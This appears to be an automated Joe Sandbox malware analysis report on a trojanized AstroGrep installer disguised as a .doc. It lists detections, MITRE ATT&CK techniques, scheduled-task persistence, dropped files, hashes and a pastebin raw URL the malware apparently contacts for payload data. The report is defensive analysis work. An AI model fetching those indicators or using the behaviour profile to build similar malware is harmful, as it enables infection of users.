Source: Yara match	File source: 00000003.00000002.2441758985.00000000024AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2386988323.0000000000B7F000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ASTRO-GREP.EXE PID: 2432, type: MEMORY
Source: Yara match	File source: Process Memory Space: astro-grep.exe PID: 2468, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\astro-grep.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Memsys\ms.exe, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	Scheduled Task/Job2	Extra Window Memory Injection1	Disable or Modify Tools11	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Scripting421	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Scripting421	LSASS Memory	File and Directory Discovery3	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Process Injection12	Obfuscated Files or Information111	Security Account Manager	System Information Discovery27	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Encrypted Channel12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Exploitation for Client Execution33	Logon Script (Mac)	Scheduled Task/Job2	Software Packing11	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Standard Port1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Command and Scripting Interpreter3	Network Logon Script	Registry Run Keys / Startup Folder1	Extra Window Memory Injection1	LSA Secrets	Security Software Discovery231	SSH	Keylogging	Data Transfer Size Limits	Non-Application Layer Protocol1	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Scheduled Task/Job2	Rc.common	Rc.common	Masquerading2	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Application Layer Protocol2	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion41	DCSync	Virtualization/Sandbox Evasion41	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Access Token Manipulation1	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection12	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
astro-grep-setup.exe.doc	60%	Virustotal		Browse
astro-grep-setup.exe.doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	100%	Avira	TR/Dropper.Gen
C:\ProgramData\Memsys\ms.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\astro-grep.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE	100%	Joe Sandbox ML
C:\ProgramData\Memsys\ms.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\astro-grep.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AstroGrep\AstroGrep.AdminProcess.exe	0%	Virustotal		Browse
C:\Program Files (x86)\AstroGrep\AstroGrep.AdminProcess.exe	0%	Metadefender		Browse
C:\Program Files (x86)\AstroGrep\AstroGrep.AdminProcess.exe	0%	ReversingLabs
C:\Program Files (x86)\AstroGrep\AstroGrep.Common.dll	0%	Virustotal		Browse
C:\Program Files (x86)\AstroGrep\AstroGrep.Common.dll	0%	Metadefender		Browse
C:\Program Files (x86)\AstroGrep\AstroGrep.Common.dll	0%	ReversingLabs
C:\Program Files (x86)\AstroGrep\AstroGrep.exe	1%	Virustotal		Browse
C:\Program Files (x86)\AstroGrep\AstroGrep.exe	2%	Metadefender		Browse
C:\Program Files (x86)\AstroGrep\AstroGrep.exe	0%	ReversingLabs
C:\Program Files (x86)\AstroGrep\ICSharpCode.AvalonEdit.dll	0%	Metadefender		Browse
C:\Program Files (x86)\AstroGrep\ICSharpCode.AvalonEdit.dll	0%	ReversingLabs
C:\Program Files (x86)\AstroGrep\NLog.dll	0%	Metadefender		Browse
C:\Program Files (x86)\AstroGrep\NLog.dll	0%	ReversingLabs
C:\Program Files (x86)\AstroGrep\Uninstall.exe	5%	Metadefender		Browse
C:\Program Files (x86)\AstroGrep\Uninstall.exe	2%	ReversingLabs
C:\Program Files (x86)\AstroGrep\libAstroGrep.dll	0%	Metadefender		Browse
C:\Program Files (x86)\AstroGrep\libAstroGrep.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
12.2.astro-grep.exe.190000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
14.0.astro-grep.exe.190000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
3.2.ASTRO-GREP.EXE.920000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
2.0.ms.exe.b8b130.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
12.0.astro-grep.exe.190000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
2.2.ms.exe.b70000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
14.2.astro-grep.exe.190000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
3.0.ASTRO-GREP.EXE.920000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
3.2.ASTRO-GREP.EXE.24afcd8.1.unpack	100%	Avira	HEUR/AGEN.1110362	Download File
2.0.ms.exe.b70000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
2.2.ms.exe.b8b130.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://pastebin.comP	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pastebin.com	104.23.98.190	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.windows.com/pctv.	ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	false		high
http://investor.msn.com	ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	false		high
http://crl.entrust.net/server1.crl0	astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	false		high
http://ocsp.entrust.net03	astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://pastebin.com/raw	astro-grep.exe, 0000000C.00000002.2652446200.00000000024E6000.00000004.00000001.sdmp	false		high
https://pastebin.com/raw/VTByvKGM	ASTRO-GREP.EXE, 00000003.00000002.2441616944.0000000002431000.00000004.00000001.sdmp, ASTRO-GREP.EXE, 00000003.00000002.2441768863.00000000024C1000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652322196.00000000022E1000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652178883.0000000000750000.00000004.00000020.sdmp, astro-grep.exe, 0000000C.00000002.2652446200.00000000024E6000.00000004.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://nlog-project.org/	ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp	false		high
http://www.diginotar.nl/cps/pkioverheid0	astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://pastebin.com/raw/VTByvKGMHD	astro-grep.exe, 0000000C.00000002.2652446200.00000000024E6000.00000004.00000001.sdmp	false		high
https://pastebin.comP	astro-grep.exe, 0000000C.00000002.2652322196.00000000022E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000000.2390480957.0000000000409000.00000008.00020000.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	ms.exe, 00000002.00000002.2395032215.0000000002927000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2479870233.0000000003377000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	false		high
https://pastebin.com/raw/VTByvKGMHD9mPHD9m0HD9m	ASTRO-GREP.EXE, 00000003.00000002.2441768863.00000000024C1000.00000004.00000001.sdmp	false		high
https://www.nuget.org/packages/NLog.Web.AspNetCore	ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp	false		high
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	ms.exe, 00000002.00000002.2395032215.0000000002927000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2479870233.0000000003377000.00000002.00000001.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	ms.exe, 00000002.00000002.2395032215.0000000002927000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2479870233.0000000003377000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	ASTRO-GREP.EXE, 00000003.00000002.2442951671.0000000004ED0000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477688132.0000000001E30000.00000002.00000001.sdmp, taskeng.exe, 0000000B.00000002.2652140631.0000000001C70000.00000002.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2653664387.0000000004DF0000.00000002.00000001.sdmp	false		high
http://nsis.sf.net/NSIS_Error	ASTROGREP_SETUP_V4.4.7.EXE, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000000.2390480957.0000000000409000.00000008.00020000.sdmp	false		high
http://investor.msn.com/	ms.exe, 00000002.00000002.2393092375.0000000002740000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	ASTRO-GREP.EXE, 00000003.00000002.2442951671.0000000004ED0000.00000002.00000001.sdmp, ASTROGREP_SETUP_V4.4.7.EXE, 00000004.00000002.2477688132.0000000001E30000.00000002.00000001.sdmp, taskeng.exe, 0000000B.00000002.2652140631.0000000001C70000.00000002.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2653664387.0000000004DF0000.00000002.00000001.sdmp, astro-grep.exe, 0000000E.00000002.2504792179.0000000004F70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://ocsp.entrust.net0D	astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ASTRO-GREP.EXE, 00000003.00000002.2441734010.000000000248A000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652322196.00000000022E1000.00000004.00000001.sdmp	false		high
https://secure.comodo.com/CPS0	astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	false		high
http://pastebin.com	astro-grep.exe, 0000000C.00000002.2652361514.0000000002344000.00000004.00000001.sdmp	false		high
https://pastebin.com	astro-grep.exe, 0000000C.00000002.2652418016.000000000245A000.00000004.00000001.sdmp, astro-grep.exe, 0000000C.00000002.2652322196.00000000022E1000.00000004.00000001.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	astro-grep.exe, 0000000C.00000002.2653393043.0000000004877000.00000004.00000001.sdmp	false		high
https://pastebin.com/raw/VTByvKGMHD9m	ASTRO-GREP.EXE, 00000003.00000002.2441768863.00000000024C1000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.195.232.251	unknown	Sweden		39351	ESAB-ASSE	false
104.23.98.190	pastebin.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	450275
Start date:	17.07.2021
Start time:	21:39:14
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	astro-grep-setup.exe.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winDOC@20/36@1/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 48.5% (good quality ratio 41.8%) Quality average: 72.3% Quality standard deviation: 35.8%
HCA Information:	Successful, ratio: 69% Number of executed functions: 81 Number of non-executed functions: 31
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Found warning dialog Click Ok Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, svchost.exe Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:42:01	API Interceptor	9x Sleep call for process: ms.exe modified
21:42:02	API Interceptor	342x Sleep call for process: ASTROGREP_SETUP_V4.4.7.EXE modified
21:42:02	API Interceptor	213x Sleep call for process: ASTRO-GREP.EXE modified
21:42:26	API Interceptor	2x Sleep call for process: schtasks.exe modified
21:42:28	Task Scheduler	Run new task: astro-grep path: "C:\Users\user\AppData\Roaming\astro-grep.exe"
21:42:28	API Interceptor	427x Sleep call for process: taskeng.exe modified
21:42:29	API Interceptor	401x Sleep call for process: astro-grep.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.195.232.251	SecuriteInfo.com.BehavesLike.Win32.Generic.cc.exe	Get hash	malicious	Browse
104.23.98.190	C1jT7pIYSJ.exe	Get hash	malicious	Browse	pastebin.com/raw/npsqXhuQ
	uwoYazbVds.exe	Get hash	malicious	Browse	pastebin.com/raw/npsqXhuQ
	u6Wf8vCDUv.exe	Get hash	malicious	Browse	pastebin.com/raw/BCAJ8TgJ
	EU441789083.doc	Get hash	malicious	Browse	pastebin.com/raw/BCAJ8TgJ
	b095b966805abb7df4ffddf183def880.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	E1Q0TjeN32.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	6YCl3ATKJw.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	Hjnb15Nuc3.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	JDgYMW0LHW.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	4av8Sn32by.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	5T4Ykc0VSK.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	afvhKak0Ir.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	T6OcyQsUsY.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	1KITgJnGbI.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	PxwWcmbMC5.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	XnAJZR4NcN.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	PbTwrajNMX.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	22NO7gVJ7r.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	rE7DwszvrX.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	VjPHSJkwr6.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
pastebin.com	TIJYYlYJpv.exe	Get hash	malicious	Browse	104.23.99.190
	banload.msi	Get hash	malicious	Browse	104.23.99.190
	SecuriteInfo.com.Trojan.PackedNET.721.17987.exe	Get hash	malicious	Browse	104.23.98.190
	6rg5Enu1ks.exe	Get hash	malicious	Browse	104.23.99.190
	Loader.exe	Get hash	malicious	Browse	104.23.99.190
	banload.msi	Get hash	malicious	Browse	104.23.98.190
	t3uss3bjUL.exe	Get hash	malicious	Browse	104.23.98.190
	h3Y0CRAJyq.exe	Get hash	malicious	Browse	104.23.98.190
	Order Request.xlsx	Get hash	malicious	Browse	104.23.98.190
	4fy0Wb1EUX.exe	Get hash	malicious	Browse	104.23.98.190
	CYzY9Pi2ny.exe	Get hash	malicious	Browse	104.23.99.190
	SgCDxPdEul.exe	Get hash	malicious	Browse	104.23.99.190
	42C75D53ACD263FF2B2DAD511E40E0E40E9A6119BAA68.exe	Get hash	malicious	Browse	104.23.99.190
	Request For Quotation.xlsx	Get hash	malicious	Browse	104.23.98.190
	Lr2Hm9rVac.exe	Get hash	malicious	Browse	104.23.98.190
	XoN2GgRiga.exe	Get hash	malicious	Browse	104.23.99.190
	vEJ2Mfxn6p.exe	Get hash	malicious	Browse	104.23.99.190
	G-DECL G50 EURL.xlsx	Get hash	malicious	Browse	104.23.99.190
	C1jT7pIYSJ.exe	Get hash	malicious	Browse	104.23.98.190
	7NBeM7iVOm.exe	Get hash	malicious	Browse	104.23.98.190

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	glupteba.exe	Get hash	malicious	Browse	104.21.63.250
	E2QIvDXi7H.exe	Get hash	malicious	Browse	104.21.83.89
	JHECEQl1ML.exe	Get hash	malicious	Browse	172.67.220.44
	UwvHsxxITi.exe	Get hash	malicious	Browse	104.21.19.209
	gVI2IrBzjJ.exe	Get hash	malicious	Browse	172.67.201.250
	y54fD0dMcF.exe	Get hash	malicious	Browse	104.21.87.184
	WR0MTpWkYC.exe	Get hash	malicious	Browse	172.67.193.180
	LPY15536W4.exe	Get hash	malicious	Browse	104.21.84.71
	SecuriteInfo.com.Trojan.Inject4.14369.15008.exe	Get hash	malicious	Browse	162.159.134.233
	TIJYYlYJpv.exe	Get hash	malicious	Browse	162.159.138.232
	7vLHRD4IdanbLrE.exe	Get hash	malicious	Browse	104.21.19.200
	PTELOONB39-67.exe	Get hash	malicious	Browse	172.67.215.158
	o2fAkrQ43w.exe	Get hash	malicious	Browse	104.21.51.99
	ATT62725.HTM	Get hash	malicious	Browse	104.18.11.207
	WAdStf9Llw.exe	Get hash	malicious	Browse	104.21.51.99
	P.O 16.exe	Get hash	malicious	Browse	104.21.19.200
	F6w8Ll8iWU.exe	Get hash	malicious	Browse	162.159.133.233
	PCgYjH5fEn.exe	Get hash	malicious	Browse	104.21.19.209
	another.dll	Get hash	malicious	Browse	104.20.185.68
	banload.msi	Get hash	malicious	Browse	104.23.99.190
ESAB-ASSE	TIJYYlYJpv.exe	Get hash	malicious	Browse	185.65.135.248
	NotificationApplicationspdf.exe	Get hash	malicious	Browse	141.98.255.146
	SgCDxPdEul.exe	Get hash	malicious	Browse	185.65.135.248
	5icstaf5i1.exe	Get hash	malicious	Browse	45.83.220.209
	aY5UWK4jxg.exe	Get hash	malicious	Browse	45.83.220.209
	ewlD3Dwdxy.exe	Get hash	malicious	Browse	185.65.134.182
	byodInstCL.exe	Get hash	malicious	Browse	193.32.127.38
	SecuriteInfo.com.BehavesLike.Win32.Generic.cc.exe	Get hash	malicious	Browse	185.195.232.251
	PD0ssyK178.exe	Get hash	malicious	Browse	185.65.134.173
	EpVgl7WUGD.exe	Get hash	malicious	Browse	185.65.134.173
	tgv7RXFab7.exe	Get hash	malicious	Browse	185.65.134.173
	7niXcdi1SU.exe	Get hash	malicious	Browse	185.65.134.173
	9gee3iCc4N.exe	Get hash	malicious	Browse	185.65.134.173
	l3eFnAYO6a.exe	Get hash	malicious	Browse	185.65.134.173
	X97zFKQz4Q.exe	Get hash	malicious	Browse	185.65.134.173
	jf1w8rsogr.exe	Get hash	malicious	Browse	185.65.134.173
	s1G5ZwG3Yb.exe	Get hash	malicious	Browse	185.65.134.173
	3ZhSP5SXgW.exe	Get hash	malicious	Browse	185.65.134.173
	wvS1iVG3MK.exe	Get hash	malicious	Browse	185.65.134.173
	S22NFM14.exe	Get hash	malicious	Browse	185.65.135.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Order Request.xlsx	Get hash	malicious	Browse	104.23.98.190
	product list.doc	Get hash	malicious	Browse	104.23.98.190
	KV18RE001-A5193.doc	Get hash	malicious	Browse	104.23.98.190
	ABS 1234 PO.docx	Get hash	malicious	Browse	104.23.98.190
	REQUIREMENT-DWG-454888_2021.doc	Get hash	malicious	Browse	104.23.98.190
	purchase order.doc	Get hash	malicious	Browse	104.23.98.190
	lokibot.docx	Get hash	malicious	Browse	104.23.98.190
	RFQ-21213.docx	Get hash	malicious	Browse	104.23.98.190
	New Order 5678.doc	Get hash	malicious	Browse	104.23.98.190
	RFQ 110739914MCH.doc	Get hash	malicious	Browse	104.23.98.190
	6171557.docm	Get hash	malicious	Browse	104.23.98.190
	6171557.docm	Get hash	malicious	Browse	104.23.98.190
	Request For Quotation.xlsx	Get hash	malicious	Browse	104.23.98.190
	nanomalware.doc	Get hash	malicious	Browse	104.23.98.190
	ETL_5100006278946.xlsx	Get hash	malicious	Browse	104.23.98.190
	01130100370.xlsx	Get hash	malicious	Browse	104.23.98.190
	IMG_056029741000.xlsx	Get hash	malicious	Browse	104.23.98.190
	LL52387-01M4205301.xlsm	Get hash	malicious	Browse	104.23.98.190
	Outfordelivery389402.xlsm	Get hash	malicious	Browse	104.23.98.190
	LL52387-01-F4448869.xlsm	Get hash	malicious	Browse	104.23.98.190

Dropped Files

No context

Created / dropped Files

C:\Program Files (x86)\AstroGrep\AstroGrep.AdminProcess.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	4.487949196682819
Encrypted:	false
SSDEEP:	96:+2x9scF3MzO5l+9B9Q6uyT4A3KXr7HazHJ/ylHj/V3ojWNta1FYcCe:5x938OYLsA3YgwN5RszYcCe
MD5:	A06B34EE8AD3B52CE1C76847FC7991A0
SHA1:	D52CBED52AD91E5D297E3F96D7AAA1476A42F087
SHA-256:	0822F460D448356DAE96963C1A56DA2553FE6BB6A859B1646D1A76DBC346F03C
SHA-512:	B4741046E83A89FBFB8848AC649E22D1773B54F5B6C96EE49057C12ADE502DE5594C706BAE140FEF864F3FB1A585A0F8D840C5369073561189C9665CD5FD2CD2
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G.\.............................-... ...@....@.. ....................................@..................................,..S....@..P....................`.......+............................................... ............... ..H............text...4.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................-......H........"...............................................................0..T.........i.1M..i.0G..~.....r...p......(....&...r)..pr-..po........r)..pr-..po........(....*.0..........~....r/..p.o.....~....rO..p.o.....~....r...p.o......9q....9k....9e....99....r...po......r...po.......r...po.......93.....9,.....9%....r-..p.r...p(....o......r-..p.r...p(....o......r-..p.r...p(....o.....r...pr...p.(....o......r...pr...p.(....o......r...pr...p.(....o.....r...po........r...po........r.

C:\Program Files (x86)\AstroGrep\AstroGrep.AdminProcess.exe.config Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	175
Entropy (8bit):	5.022488547778473
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCQcIMOoT02VK/FlURAmIRMNHjFHr0lUfEyhTRRAoe+RAW4QIMOov:TMVBd1I002VKNa7VJdfEyFRRAoeuAW44
MD5:	57717DA46BD278CA043D8101847D8FF4
SHA1:	D93BAADBB3C644D841D7AA4E95DCD76F9897BD05
SHA-256:	12D08F2857A02B5A4EF5DF6EC2D840296AAC4C219704B2FB6F15A7571230A4C5
